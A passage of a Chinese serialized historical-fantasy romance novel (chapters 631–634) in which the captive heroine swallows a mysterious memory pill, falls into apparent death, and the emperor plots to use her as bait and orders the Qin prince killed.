白衣女子微微抬起头来,想了想,说:“也不是没有办法,那便就要还天下以明君!” “还天下以明君?” 衣上云一边重复着女子的话,似是隐隐听懂了她的意思。 遂惊诧地看向女子的脸,问:“莫非……你是说……” 白衣女子眼神坚定地与她对视在一起,肯定了她心中所想:“这片大陆,唯有得一位明君,才能引领让诸国百姓们安居乐业,才能国富民强,天下一片太平。” 衣上云思虑片刻,道:“可我又该怎么做?如何才能还这天下一位明君?” 女子定了定神,说:“西秦秦王,年少有为,心系天下苍生,爱民如子,又乃真龙矣,是身为天下明君最合适不过的人选!” 闻此,衣上云顿看向白衣女子的脸,惊诧地道:“你是说……殿下……” 白衣女子定定地对着她的眼睛,道:“对……正是你的夫君!” 衣上云想了想,还是有些不知所措:“可我还是不知该怎么做?” “真龙出海,灵空一统,凤凰涅盘,浴火重生,生既是死,死亦是生。” 不知为何,白衣女子又将这话说了一次。 接着对衣上云说:“预想解救这天下苍生,身为西秦守护者,必得先找回真正的自己!” 衣上云越听越糊涂:“找回……真正的自己?” 白衣女子说:“云儿,你本就不属于这个时空,或许,也是时候该回去了!” “不属于这个时空?” “我?” 衣上云连连自问。 最后,她正想还问些什么:“你说我并不属于这个时空,那我……” 可猛一转头,那白衣女子竟不知何时已然悄悄离去。 “不要走,不要走……” 伴随着发出一阵梦魇般的呼声,衣上云忽地睁开眼睛,醒了过来。 看到周围陌生的环境里空无一人,于是缓缓坐起身来。 小心翼翼地轻声唤道:“有人吗?” 过了许久,似是根本没有人回应她。 衣上云便掀开身上的毯子,光脚下来,踩着地板,一边朝门口移动,一边继续尝试着呼唤:“有没有人呢?” 第六百三十一章:劫后重生 最后,她径直朝着门前走了过去,伸出两只手将门从里面一把拉了开来。 只见眼前一片漆黑寂静的院子里,一轮弯弯的月亮架在树梢上,院子里的虫鸣声阵阵响起。 沿着长长的回廊,点着两排火红的灯笼。 借着屋内的烛火照耀,衣上云看到门外两侧竟站着两名脸色颇为严肃的守卫。 遂将其从上到下打量了一番,却似根本看不出来任何端倪。 遂开口问道:“两位大哥,请问这里是什么地方?我是怎么到这里来的?” 岂料那俩个侍卫竟宛若贴在门上的门神一般,似是根本听不到她的话,眼睛只直勾勾的盯视着自己的前方。 衣上云以为是自己声音太小,于是故意清了清嗓子。 接着又提高了些许嗓门,再次问了一遍:“大哥,请问这里是何人的府邸?我在这里已经多久了?是谁带我来这里的?我记得,我应该是在觻县才对呀!” 然那俩个守卫竟依旧没有回应她分毫。 见这二人是铁了心不与自己说话,衣上云便就这样提起裙摆,打着赤脚从屋里走了出来。 不曾想前脚刚一迈出门槛,那两名守卫便顿将自己手里的长剑提了起来,挡住了衣上云的去路。 其中一个守卫终于开了口,却是极其凶神恶煞的警告她:“主子有令,不许你踏出这个房门半步,否则杀无赦,速速回房去。” 衣上云好奇地问道:“主子……什么主子?谁是你的主子?” 那守卫神秘地道:“日后你自会见到主子的,快些回去吧。” 衣上云朝四周里打量了一番。心里默默地嘀咕着:“这到底是哪里?看这宅子的规模并不小,甚至比秦王府还要大一些。究竟是什么人?为何要将我扣在这里?” 一念至此,她竟还想再次试探一下。 于是便将尚还停留在门槛里面的另一只脚,亦悄悄抬了起来。 霎时间,那两个守卫竟不假思索,真的将各自手中剑鞘里的一把明晃晃的长剑拔了出来,架在了衣上云的面前。 威胁她恶狠狠地道:“不要妄想试探我们的底线,如果你今日执意一定要踏出这个房门,咱们兄弟定当让你立刻人头落地。如果不信的话,你便就试一试?” 见此,衣上云不禁倒抽了一口凉气,心里盘算着道:“好汉不吃眼前亏,我暂且忍耐你们一会儿,如果让我见到了那个将我囚禁在此的人,我一定不会让他好看。” 最后打定了主意,她便转身朝里走了回去。 刚一进门,那俩守卫便“咣当”一声,替其将门再次紧紧关了起来。 闻声,衣上云回头看了一眼,最后却只能无奈地缓缓踱步过去,默默地落座回榻边。 这时,心里方才想起了轩辕翰来,口中便喃喃自语道:“也不知道殿下现在怎么样了?觻县的沙暴已然得已平息,殿下亦应该已经平安回到皇城了吧!” 就在她渐渐陷入对轩辕翰的思念时,她的肚子忽然传出一阵声音:“咕噜噜……咕噜噜……” 于是紧忙回过神来,垂首笑着一边轻抚自己的腹部,一边对它温柔极了地说:“对了,我都差点儿忘了,现在还有个小小的你呢!无论怎样,可不能委屈了你。” 说着,便再次起身走到了门前,从里面将门轻轻敲了两声。 紧接着,隔着门对那门外的俩人说道:“喂,不让我出门也就算了,难道你们的主子费尽心机把我困在这里,就是为了将我饿死吗?我总还有吃饭的权利吧!我饿了,我要吃饭,快点让人送饭来!” 门外传来一声:“等着,马上就会有人送饭来!” 没过多久,果然有人现身进到了院子,捧着一食案送饭过来。 然来的人,却是一面像生疏,且脸上还遮着一条白色面巾的男子。 守卫看见,果断上前将其立刻挡了下来:“你是何人?看起来似是从未见过?” 男子始终低垂着眼睛,与其说话。 “我是黄昏时分方才刚刚调过来的。主子命我等这个女人醒来后,替其好好检查一番,看她究竟与常人有何不同,竟然驾驭的了觻县如此强烈的飓风沙暴。顺便,也替其检查一下身体是否染有其他什么疾病,以免到时在殿前传染他人,尤其是主子!” 守卫绕着其身边转了一圈,将其全身上下,仔仔细细打量了一番,似是还有些怀疑,便问他:“可有主人的令牌?” 男子赶忙从怀里掏出一面金黄色的令牌来,递了上去。 顿时间,那守卫俩人凑身在一起,仔细将那面令牌检查了一番,又交头接耳不知说了些什么。 方才将其还给男子,替其把门打开,放其进去:“进去吧!” 待那男子两只脚刚进到屋子里,身后便再次传来“咣当”一声响,门被再次紧紧地关了起来。 男子顿足停下,嘴角微微上扬,露出一抹诡计得逞的浅笑来,继而轻唤屋里的衣上云,道:“姑娘,过来吃饭了!” 闻声,正端坐在榻边闭目养神着的衣上云再次起身,却依旧打着赤脚,迈步朝着男子身边走了过去。 最后,在屋内中央摆着的一圆形案几旁落座了下来。 那男子一边将自己所带来的精致的饭菜一一拿出来,摆开在桌上,一边说:“觻县距离皇城路途遥远,想必姑娘一定是饿坏了,赶快吃吧!” 衣上云看着这一桌香气四溢的吃食,顿时眉飞色舞了起来,提起筷子便道:“嗯,我的确是早就已经饿的连两只眼睛都在冒星星了!” 男子一脸宠溺地看着衣上云挽起袖子便开始享用起他精心为她所准备的美食,心中颇感满意。 忽然,将视线下移,落在了其正放在桌子底下的两只光秃秃的脚丫。 这才注意到衣上云一直光着脚在地板上行走,于是默默走到榻边,将她的鞋子捡了起来。 后又回到她身边,弯腰屈膝下蹲着,为其一边将鞋穿上,一边叮嘱关切道:“即便眼下仍是夏末,尚未立秋,可夜里依旧是凉的。这鞋子还是要穿的,否则,若是真的受凉了,可是自己要吃些苦头的!” 衣上云一边忙着扒拉美食,一边云轻风淡地道:“不碍事的,我打小一贯喜冷不喜热,冬天即便再冷,我也不怕。可这夏日,的确让我很是难过。” 忽然,她似是又察觉到了什么,便问那男子:“只是听你这声音,貌似与我的一位故人极像!” 衣上云一边用餐,一边隐隐有些纳闷地说。 这时,那男子忽然叫了一声:“乌乐……” 闻声,衣上云瞬间不敢相信自己的耳朵,顿停下手里的筷子,扭头朝其看了过去,愣愣地道:“你是……” 伴随着男子终于缓缓摘下脸上的遮面巾来,衣上云刹那间惊呆了:“你……你是……二皇子?!” 原来,这假扮混进门来的人竟是拓跋宏。 这一刻,他心里亦是无比激动地道:“乌乐……我们终于又见面了!” “二皇子,你怎么会……”想起近来自己所经历的种种,遭遇的各种委屈,衣上云缓缓立起身来,与其相对视着,眼里瞬间溢满了泪水。 此刻,拓跋宏的心里,是多么地想要上前去,展开自己宽大的胸怀,给她一个安慰的拥抱,可他却努力压抑着自己的情绪。 因为他知道,如今他们彼此的身份,自己这么做却是很不合适。 于是只静静地站着,看着她的眼睛。 往事一幕幕,涌现了出来。 此刻,一切尽在不言中,却是此时无声胜有声。 过了许久,拓跋宏方才再次开口缓缓说道:“听说了你在觻县为百姓们所做的一切,我是真的替你感到无比的自豪!你果然每每到达一个地方,便能救助无数的人!这已经不仅仅是身位一名医者所能及的了!你比我想象中的要更加坚强,亦更加勇敢!” 衣上云则不以为然地道:“我其实并没有三皇子口中所说的那般伟大,我所做的一切,都只不过是情势所逼,不得不为之罢了。更何况,觻县本就是百姓们自己不抛弃不放弃的坚定意志,方才最终得以坚守。我并没有做什么!” 拓跋宏笑了笑,试探着问:“那接下来,你打算怎么办?还是回秦王府,做秦王妃吗?” 闻此,衣上云的心里忽然顿了一下。 回秦王府,以后的时光漫漫,轩辕翰会不会再次因为那个莫名其妙的魏明轩而与自己生了嫌隙? 或者,她的确应该给他一个解释。 于是,她又再次想起方才的那个梦境来,陷入其中,似是隐隐在心里做着什么决定。 遂将一只手缓缓附在了自己的腹部,却又发出一阵云淡风轻的笑声来。 心里暗自想着:“一个连自己都不知从那儿来的人,又怎会知道自己接下来该去向哪里?” 见其心里生出一丝犹豫,拓跋宏想了想,从身上拿出一个黑色的木匣子来递到了衣上云的面前。 衣上云不明所以地问:“这是什么?” 第六百三十二章:终于安静了 衣上云不明所以地看向拓跋宏的脸,问:“这是什么?” 拓跋宏凝视着手里的木匣,似是心里尚还有些犹豫。 顿了顿,缓缓说道:“其实,我一直在找你,就是为了将这个还给你。” 衣上云一边伸手将其接过,一边问:“这是……” 拓跋宏道:“这是你当初落在草原上的另外半粒还魂丹。” “还魂丹?”衣上云在记忆里急急搜索着,却果然似是已经对此没了什么映象。 拓跋宏回忆着,幽幽说:“记得当时你说,这是一位道长给你的。说如果服下此丹药,可以让那时失忆的你记起许多遗忘了的事,却也会永远忘记心中最珍贵的记忆!” 衣上云认真地听着。 拓跋宏一直很是自责,道:“其实一直以来,我也很犹豫,究竟应不应该将这个还给你。毕竟见你之前服下半粒丹药后,昏迷不醒了好久,情况很是不好,真的不想看你再来一次。本来,我是想请城隍庙的大师帮我先看一看,这药是否有什么不妥?只可惜,大师他心系众生,云游四方去了,至今尚都未归,故此,我的心里至今都隐隐总是觉得有些不安。” 衣上云一边听着他的话,一边心里吃惊不已。没想到,在自己的身上还曾发生过这么多事情。 她痴痴地望着手里木匣中的半粒药丸,惊奇这天下竟有如此神奇的药! 想着想着,心里竟忽然悄悄升起一个念头来:“莫非那个梦境又是真的?如今的我,并不是真正的我?那会不会,殿下口中所说的那个叫做魏明轩的人,也与此有关?是不是吃了剩下的还魂丹,我便会记起一切过往来。到底那个被我忘记了的最珍贵的记忆,是什么?” 顿了顿,顺着思路又继续往下想去:“如果这一切都是真的的话,那我并不属于这个时空隧道,也就一定是真的了。如果是这样,那我到底是谁?” 自此,衣上云兀自低头陷入在自己沉沉的思绪中。 耳畔边,拓跋宏的声音依旧在回响着:“可我思来想去,总归,这是属于你自己的东西。到底要不要恢复那些记忆,理应还是由你自己来决定。身为西秦守护者,我相信你能接受所有一切的事实真相。” 闻此,衣上云忽抬起头来惊看向他的脸,说:“你……你知道我是……” 拓跋宏微微昂首,肯定了她的眼神,道:“我知道,世人口中所传说的已失踪多年,拥有神秘力量的西秦守护者,得此力量者得天下,就是乌乐……你。” 衣上云此刻显然惊呆了,怔怔的看着他的眼睛,不知道这一刻应该说些什么。 拓跋宏继续说:“关于你的秘密,在我们都还在草原上的时候,我便就已经猜到了,你便是那股神秘力量之所在。” 拓跋宏明显至今就连自己亦是自叹不如,对其佩服之至:“只是我发现,所谓的西秦守护者,所具有的那股神秘力量,其实并不是别的,而就是藏于心中的那份守护天下苍生的信念,以及那颗面对一切困难,始终都契而不舍的心。” 衣上云心里着实震惊,却又不解地问:“既然这一切你早就已经知道了,你知道得守护者力量者得天下,为何当初还要让我离开?以至于北烈后来遭受亡国,成为你这辈子永远无法抹平的伤痛。” 拓跋宏想了想,脸色忧郁地道:“我说过,这天下属于贤者。而我自知自己此生成不了一个好君王,自是也就留不住你。放眼灵空四国,唯有西秦国地大物博,有更加广阔的天地,你本就该属于这里,助力那个可以统一四国的一代明君。” 可衣上云显然不这么认为,嘟着嘴说:“可我也是一个人,如果可以选择,我更想拥有属于自己的自由自在的生活。” 拓跋宏看着此时她微微低垂的脑袋,心中升起一丝怜惜:“如果我们每个人生来都这般自私,只顾自己自由自在,惬意舒畅的活着,那这个世界会是个什么样子?这世上,总有些人,要担起没人愿意担的责任来,为了更多的人能平安幸福,穿越黑暗,负重前行。” 拓跋宏嘴上说着,心里却也在问自己:“如果自己早些能明白这个道理,或许父王也不会离开自己,他也不会成为一个亡国奴,背负这一生的罪责。” 可显然,如今再说什么,亦或做什么,都已经晚了。 就在两人各自都沉浸在自己沉重的思绪中时,门外忽然传来一阵催促声:“好了没有?时间到了!” 闻声,俩人这才立刻醒过了神来。 拓跋宏连忙朝外答应着:“好了好了,我马上便出来。” 衣上云依依不舍地看向他,道:“二皇子……” 拓跋宏一边收拾,一边告诉她:“你且安心在这里先住着,这个地方极其神秘,外面道道防守极为森严,目前我只知道是西秦皇城里哪位高官的别院,具体是什么人的,尚还未查出。不过你放心,我会再找机会来看你。我一定会尽快想办法带你出去的,在此之前,务必一定要好好保护好自己。” “嗯”衣上云只能狠狠地朝其点头,答应他。 拓跋宏收拾好一切,又认真地看了一会儿衣上云的脸,似是想要将此刻的她,牢牢刻在自己心间。 可最终,还是依依不舍地匆匆踱步走了出去。 衣上云目送着他渐行渐远,离开后,缓缓收回了视线,将目光投向自己手里的木匣中,那半粒丹药上。 一室寂静。 脑海中,忽然再次浮现起许多支离破碎的记忆片段来。 “魏明轩,你怎么还不回来?就快要来不及了,来不及了。” “如今,这个躯体原本的灵魂已然离去,但她的责任和使命却永远被封印在这具躯体里。但凡进入这具躯体的灵魂就一定要势必完成她的责任和使命方才能得以解脱。” “命里有时终须有,命里无时莫强求、因果轮回、百世契约。” “真龙出海,灵空一统,凤凰涅盘,浴火重 生,生既是死,死亦是生。” “生生世世,答应永远都不要再离开本王身边半步,可好?” …… 伴随着一阵阵疼痛感袭击了头部,她努力地想要停下来,却怎么都控制不了自己的思想。 无奈,她只能用两只手来紧紧将自己的耳朵按住,好让自己不再听到那些乱七八糟的声音,扰乱了自己的心智,并且摇晃大喊着以示拒绝。 “不要说了” “不要再说了” “都不要再说了” “我不听” “我不想听” “我什么都不想听” 恍恍惚惚中,衣上云竟忽然立起身来,一把抓起了木匣里的丹药,将其准确无误地塞入到口中,一口吞了下去。 这一刻,仿佛周围世界里的所有一切都渐渐变得安静了下来。 衣上云目光痴痴傻傻地看着桌上摇曳的烛火,乱了脚步,身体亦跟着摇摇晃晃。 嘴角斜出一抹淡淡的弧度来,痴痴地说:“真好,终于安静了,安静了……” 继而又看向案几上摆着的那个亦然空空的木匣子,说:“没了,没了,什么都没了,结束了,一切都结束了。” 霎时间,只闻传出“扑通”一声响。 门外两名守卫顿时面面相觑着问彼此。 “什么声音?” “发生了什么?” 却又瞬间一起反应了过来,异口同声地回答彼此。 “这声音好像是从里面传出来的。” “这声音好像是从里面传出来的。” 来不及细想,俩人着急忙慌得推开门,跑了进去。 一进门,直奔内屋走了进去。 便见衣上云整个人就那样仰面朝天,舒展开两只胳膊,摆成了个大字躺在地上,似是已彻底失去了知觉。 二人互相对视了一眼,便一起朝其疾步近身过去,弯腰蹲下。 在其耳边一起急急呼唤。 “喂,醒醒!” “醒一醒!” 见其对自己的呼唤丝毫没有半点儿回应,其中一名守卫紧忙附上两根手指去探了探她的鼻息。 竟吓得顿吞下一口口水,紧接着怯怯地发出一阵惊声来:“不好了,像是没气了。” “没气了……这怎么可能?”另一守卫听了不敢置信地说。 亦赶忙亲自伸手去试了试。 待其眼睛越睁越大,忽然回过神来,紧忙朝外大声地呼喊:“传太医,快传太医。” 过了没多久。 俩守卫便被押着带到了院子里的另一处房子里。 “跪下!” 伴随着一阵呵斥声,被人重重地按了下去,膝盖顿时落在了冰冷的地板上。 俩人低低地垂着头,丝毫不敢抬起来半分。 面前有一细声细气的男子,开口训斥责问起二人:“你们都是怎么办差的,这里里外外,布下了层层防守,怎的还能出如此之事?” 其中一守卫亦是至今怎么都想不通,遂战战兢兢,小心翼翼地说:“回公公的话,我们兄弟二人的确一刻都未曾离开过门口半步,实在是不知她是如何断了气的呀!” 那细声细气的男子偷偷瞄了一眼旁边珠帘后的面孔,大声喝道:“大胆!还敢狡辩,来人,拖出去各罚他们每人二十大板。” 第六百三十三章:识破 “大胆!还敢狡辩,来人,拖出去各罚他们每人二十大板。” 就这样,两个守卫甚觉莫名其妙地便就被人给驾了出去。 嘴里还仍然不忘朝其求饶。 “公公,饶命啊!” “冤枉呀,公公。” 可最后,一个都不少,整整被狠狠杖责了各二十个板子之后,俩人仍然被拖回到了那细声细气的男子面前来。 那细声细气的男子方才缓缓开口询问:“真是两个猪脑子,一点用都没有,怎的连个手无缚鸡之力的女人都看不住。今天都有什么人进去见过她,还不赶快细细说来。” “说,奴才说,奴才都说。” 俩个守卫隐忍着身上钻心刺骨般的伤痛,害怕极了,连连说道。 经过二人相互补充着,终进行了一番颇为仔细的叙说后。 那细声细气的男子,心里似是开始有些怀疑起什么。 遂将目光再次投向那隐在暗处,一帘密密的珠帘后,至今都面色沉静,一言不发的主子身上。 待那二人话刚一说完,便训斥他们:“俩个混账东西,你们定是让人给骗了,宫里根本就不曾派过任何人来别院……” 看到那二人此刻俱都一副蠢笨且惊异的眼神,男子追问道:“那人长得什么模样?可有仔细搜过,是不是尚还未离开别院?” 一守卫回忆了片刻,低低说:“那人的长相,还有其口音……似乎并不像是我西秦国人。隐隐感觉,有点像自北烈那种蛮夷之地来的。” 另一守卫则至今都难以置信,坚持说:可那个人,他有宫里的令牌,奴才们有仔细认真检查过,那令牌的确是真的,所以才会将他放了进去。事发当时,就已经命人立刻搜了所有角角落落,可惜……” 一时间,仿佛那火冒三丈的男子也无话可说了。 遂气急败坏地下令道:“大胆,你们俩个废物休在此狡辩。来人,将这二人拉下去押入大牢,没有我的命令,谁都不许将其放出来。” “公公,饶命。” “公公,饶命啊。” 伴随着又一阵求饶声传来,那二人很快便彻底消失不见! 二人离开后,屋内方才再次恢复了一片寂静。 此时,一直隐在暗处,珠帘后的璟帝缓缓起身,走了出来。 男子一见,赶忙过去将其扶住,道:“如此看来,此女子的死,定与那名男子脱不了干系。只是……那两个猪头,竟连那男子的模样亦记忆不清。奴才罪该万死,是奴才用人上的失职。” 怎料那终于暴露在烛光下,威严的面孔却突然开口朝其要求说:“带朕过去看看!” 那细声细气的男子顿时惊住,道:“皇上,这怕是万万不妥吧,她都已经咽气了,万一要是冲撞了皇上您,那可该如何是好呢?!” 闻声,璟帝顿看向男子的脸,男子吓得一个激灵,紧忙答应道:“是,奴才这就带皇上过去。” 穿过回廊,夜里挑灯刚到了衣上云所在的院子门前。 霎时间一阵凉风袭过,吹落一院的夏花绚烂,那细声细气的男子顿将脚步忽然停下,再次迟疑了起来。 直觉自己后背发凉,于是怯怯地开口问:“皇上,咱们真的要进去吗?” 璟帝见他那胆小害怕极了的眼神,狠狠瞪了他一眼,训斥道:“没根的东西,真是无用,滚一边去!” 随后不假思索,毫不犹豫地兀自继续迈步上前,跨过门槛,夺门走了进去。 太监看了看前方,又瞧了瞧身旁院子里到处漆黑一团,空空荡荡无一人,极其阴森恐怖。 最后只能亦硬着头皮,咬牙追了上去,压低声音呼唤道:“皇上等等奴才!” 屋内,此时已被人特意点亮了一片灯火通明。 榻边,一明亮的烛火照耀下,凝视着衣上云安稳的脸许久。 璟帝沉声问道:“这便是你们从觻县带回来的那个公然与朕作对,带头治沙的女子?” 那名太监答应道:“正是该女子胆大妄为,竟敢妄图挑衅天威。” 继而请示说:“只是……请问皇上,接下来该将这名女子如何处置?” 岂料璟帝仍然端详了女子的脸半晌,忽然问身旁的太监:“你觉不觉得此女子有些眼熟,像是在哪里见到过?” 闻此,太监小心翼翼地蹭着上前了极小小的两步,躲在璟帝的身后朝其伸长了脖子张望了其一会儿。 又收回视线想了想,似是并没有回忆起什么来。 于是再次将目光朝其凑了上去,又瞧了好一阵儿,最后渐渐说:“皇上这一说,奴才亦觉得好像是有那么一点点儿面熟。可奴才这一生自打认人以来,便都在宫中侍奉皇上左右,从未离过宫半步,难道……这女子亦是宫中之人。又或者,是哪位朝臣的家眷,也曾入宫来拜见过?” 显然,二人无法对其真实身份做出最终判断。 许久后。 怎料璟帝忽然冷不丁又问了句:“你可听说过一种假死药吗?” 那太监闻声惊了一句,道:“什么?假……假死药?” 璟帝遂将目光缓缓移动到身旁案几上放着的此时早已是空无一物的木匣上,说:“这存放药丸的木匣尚且还留在这里,想来定是那神秘男子特意送来给她的。她又在其离开后,方才将其服下,造成了如今假死的模样。否则,怎么可能那个男子前脚刚一离开,她便就没气了。” 听到璟帝说女子是假死,太监这才敢大胆上去了两步,到其身旁朝着衣上云安静的脸仔细看了起来。 见其除了只是没了鼻息外,脸色红润,其他像是与正常人睡着了一般并无两样。 心里顿时明白了过来:“所以,那男子处心积虑,其最终的目的,是想将此女子用假死的方法救出去。” 至此,太监紧忙追问道:“那现在我们该如何应对?这女子也不知是何方神圣,竟然能置身于飓风沙暴之中而身无一丝损伤,将觻县的那场特强沙暴给逼退。如果不是因为这样,在觻县便就将其就地正法了。哪里还需要如此大费周章,千里迢迢将她带回囚禁在此!” “你究竟是谁,为何会拥有着如此神奇的力量?”璟帝凝视着衣上云的脸,心里亦是惊诧不已。 思虑片刻后,笃定极了地说:“让人去把张致远叫过来别院里,为她仔细诊治,一定要让她醒过来。如果这一切真如我们所料,那名男子便一定还会再来别院的。” 随即下定决心,愤愤道:“既然如此,我们便就将计就计,以这女子为诱饵,等那鱼儿自己上勾来。朕倒想看看,究竟是什么人,竟敢在朕的眼皮子底下耍这等小聪明,想要挑战朕的的威严,真是不知死活!” 那太监听了立即附和着道:“此计甚好,吾皇英明!” 转而璟帝又问道:“可知秦王如今怎样了?” 太监想了想,答道:“听说他自打觻县回来后,似是被那场飓风沙暴给惊到,至今都卧床昏迷不醒着,就连府里的乐太医许久以来都对其束手无策。” 璟帝愤愤地说:“真是贱命一条,竟然连那场沙暴都没能要了他的命!” 璟帝说完想了片刻,最后说:“既然他没能死在觻县,那就派张致远亲自去秦王府走一趟,彻底了结了他,以绝后患!这么多年,朕只盼着他能替朕寻回遗失的守护者后人,却是毫无一丝音信。如此看来,朕终究是错付了。既然他如此无用,那朕留着他还有何用?” 闻此,那太监犹如忽然听闻一阵晴天霹雳,简直不敢相信自己的耳朵。 顿放眼过去朝其怔愣了一会儿,怯怯地再次朝其确认:“皇上,您真的决定现在就要对秦王出手吗?眼下,灵空四国尚还有东宁与南安尚均未收入囊中。且闻两国早已是对我西秦蠢蠢欲动,皆只因为忌惮秦王的战神之勇才迟迟没有出手。如若真的没有了秦王,想必立刻便会再起战争,到了那时,我西秦当由谁出战呢?” 璟帝默想了一阵,似是胸有成竹极了地说:“此事朕心中自有安排,朕绝不会允许任何人牵制住朕,任其摆布。” 见其决心已然如此,太监心里纵使有再多的担忧,亦是似也再无话应对,于是默默收了声。 殊不知,俩人的这一席对话,俱都被衣上云听在了耳中。 皇令一下。 张致远半夜在府里便收到了消息。 “咚咚咚……” 管家步履匆匆地叩响了张致远的房门,前来禀报:“大人,宫里连夜差人送来的密信!” 忙碌了一天,张致远正准备宽衣就寝,闻声急急接过管家手中的那封信函。 多年以来,似是早已习惯了地说:“又是哪位主子身子不适,要老夫连夜入宫为其诊治啊?” 管家心里犹豫了一下,说道:“看那送信的差爷面相神情,似不像是哪位主子有急症。” “不是哪位主子有急症……” 张致远疑惑地将手中的信拆了开来…… 第六百三十四章:是时候了 匆匆看完了手里的密信,张致远心中惊谔不已:“终于,老夫最担心的这一天还是到来了,皇上将我留到今日,果真要我亲自去做这件事!” 他的心中打从自己当上这个院判的第一天,似是早已经料到了自己总有一天会收到这封信,但绝对没有料到会是今晚。 这么多年过去了,正所谓伴君如伴虎。 往事一幕幕,顿时涌上心头。 这一生,他永远不会忘记那一年,在新一届的院判职位争夺中所发生的事。 那时,不管论医术的精湛亦或出身,如今默默无闻身处于秦王府十余年的乐太医远远胜过他无数。 而他只是一名略通药草之术的药师,就连给乐太医做学徒打杂的资格都没有,而乐太医却是出身于京城有名的医学世家。 10岁便破格经允随父亲入宫,既是自己的前一任院判,在太医院见习当职。 却在后来的那最后一场最为关键的比试中,被璟帝派人在暗中使诈,栽赃嫁祸其在院判之职的争夺中,其父亲亦是当时的乐院判有意偏袒包庇,在其为一名宫女施行最常见的风寒之症的诊治时,用药失误致其死亡。 当即便撤了乐院判的职务,并且威逼其父亲如果不认罪,便会累及全家老小的性命。 不得已,其父只能低头认罪,被斩首示众。 那时,若不是纯太妃与年幼的秦王母子俩力保,刚正不阿,势必就是死也要为父亲讨个公道的乐太医怕是连命都要丢了。 最后,这件事被传出宫,更是传遍了西秦的大街小巷。 自此,曾经的医学世家一夜之间便被全城唾弃,变成了披着羊皮的狼,杀人不眨眼的凶手。 乐太医家人亦因无法忍受世人的冷眼,皆都以死明志,追随家主而去,遭了变故。 最后只剩下乐太医一人,被秦王府收留,方才得以幸免,活了下来。 而自己,便是当时那个被猪油蒙了心,推波助澜,指证那碗被换成毒药给宫女服下的药汤便是经乐院判亲自检查过的人。 果然,如此仅靠一个小小的举动,便让他换得了这一生的荣华富贵,人前显贵。 这么多年战战兢兢,小心翼翼地侍奉着那些所谓的主子们。 却在这忽然之间,张致远的心中得以了释怀。 继而扬声叹道:“果然,善有善报,恶有恶报,不是不报,时候未到。” “报应,这都是老夫应得的报应啊!” “老爷你到底怎么了?发生了什么事呀?深更半夜的宫里送信过来!” 管家见他一辈子都似从未如此开怀过,不知究竟发生了什么事,便问。 张致远却依旧只自顾自地感叹说:“是时候了!” “是时候了……什么是时候了?是什么时候了?”管家显然摸着后脑勺,听得稀里糊涂。 紧接着,张致远却大笑了一阵,便走出了门去。 “今晚,老爷他到底是怎么啦?” 管家亦不明所以地摇了摇头,跟着出去。 很快,张致远便被蒙着双眼,由那特意前来送信的人带到了那处别院门前。 一下马车,他便感受到周围是个尤为陌生安静的门庭。 被人扶着进门时,透过强劲的气息,他又得知门口左右有两名壮汉守卫正紧紧把守着。 于是心里默默地嘀咕着:“这里到底是什么地方?又住着什么人?怎的如此神秘,方才过来一路都蒙着双眼。” 稍微一走神,在其跟随着带路的人跨入门坎时,差点被那道高高的门槛给绊倒。 那带路的人眼疾手快地一把将其倾倒了下去的身子紧紧捞了回来,在其耳旁边提醒道:“张大人,小心脚下!” 张致远惊的倒抽了一口凉气,继而开口试着问了句:“这到底是什么地方?皇上怎会在这里?是谁生病了?” 那带路的人只说:“张大人马上便就会都知道了,皇上还在里面等着,大人还得加快一些脚步才是。” 张致远解释说:“这蒙住眼睛,行动难免会有些不便。” 带路的人道:“进去后,属下自会为大人摘下遮布,大人稍安勿躁。” 终于,伴随着一缕亮光映入眼帘,遮在张致远双目上的黑布被一年轻的侍卫缓缓解开。 侍卫一替身除去眼睛上的遮挡,便就急匆匆走了出去。 偌大的殿内,只剩下张致远一人站在那里。 霎时间,璟帝与那名太监亦一起现身出来。 来不及观察四周,张致远即刻朝其下跪行礼。 “微臣参见皇上!” 璟帝一边落座,一边沉声问了句:“来啦!” 张致远恭敬地再次朝其行了次礼,道:“微臣一接到皇上的召唤,丝毫不敢拖延怠慢,便就立刻赶过来了,不知皇上将微臣带到此处,是为了给……” 未及其将话说完,璟帝身旁的太监先开了口说道:“院判大人,这些年,皇上可是待你不薄,你心中可有数?” 张致远一听其明显话里有话,是在暗示自己什么,丝毫不敢抬起头来,只道:“没有皇上,便没有今日的微臣,微臣此生就算是肝脑涂地,亦定当全力以赴,尽职尽责侍奉吾皇。” 那太监似是对其回答尚还满意,便继续说:“大人心里清楚便是!只要大人对皇上始终如当初一样衷心不二,大人的前途定是一片光明。在太医院,绝对没有人能撼动大人的位置。” 张致远直觉自己的额头渗出细细的冷汗来,附身趴在冰冷的地板上,紧紧贴着地面道:“微臣多谢皇上,多谢公公!” 这时,太监方才下令道:“起来吧!” 张致远终于颤颤巍巍地站立起身来,用衣袖拭了拭额头的汗珠。 那太监与璟帝相对视了一眼,似是达成了某些共识。 紧接着道:“屏风后的榻上,有一女子,不知服了什么药,似是死了,又似是活着。只要张大人能让这女子醒过来,皇上定不会亏待了大人。” 张致远即刻道:“不敢不敢,这些年,皇上对微臣频频赏赐,已是恩重如山。况且,救死扶伤是医者的本份,微臣这就过去看看!” 说着,张致远赶忙一手拎起脚下的药箱,径直朝着屏风后走了进去。 “这……这不是……衣上坤家的那个丫头吗?” “听说她不是已经得了秦王青睐,成了尊贵的秦王妃了么?如今,又怎会出现在这里?” “皇上将秦王妃带到这里是何用意?” 岂料张致远一越过殿内的屏风进去,走到榻边看到榻上躺着的昏迷着的女子的脸,顿时惊呆了。 对于衣上云曾在宫中那段短暂的经历,别人认不出卑微的她。可作为曾经与自己好长一段时间并肩作战的人,张致远显然一眼便认出了这张脸来。 正在暗自思量,那太监扶着璟帝亦跟随其后走了进来,一注意到他的迟疑,太监便问:“张院判可是识得此女子?” 张致远闻声,顿时回过神来连连否定道:“哦,不不不……微臣亦是第一次见这女子,并不认得!只是,微臣见这女子的脸色与常人似是并无不同,亦不觉得她像是已经死了……” 那太监听了,顿斜了他一眼,便催促道:“既然如此,那你还不赶快查看,这明明之前好端端的一个人,到底是什么原因忽然就陷入昏迷,至今都不醒过来!” 张致远紧忙抬步上前过去坐下,翻了翻其眼皮,接着一边伸手去摸其脉搏,一边道:“是是是,微臣这就仔细给她诊脉看看。” 殿内香烟袅袅升起,时间一分一秒地过去。 璟帝主仆俩在一旁,翘首期盼着张致远的诊断结果。 见其终于缓缓抬手,最后将搭在衣上云手腕上的纱巾亦撤了回去。 太监紧忙上前,着急地问:“怎么样?” 张致远想了想,说:“这女子,的确还没有死!” 太监顿时惊讶地瞪大了眼睛,再次朝其确认:“什么?你说的,可是真的?” 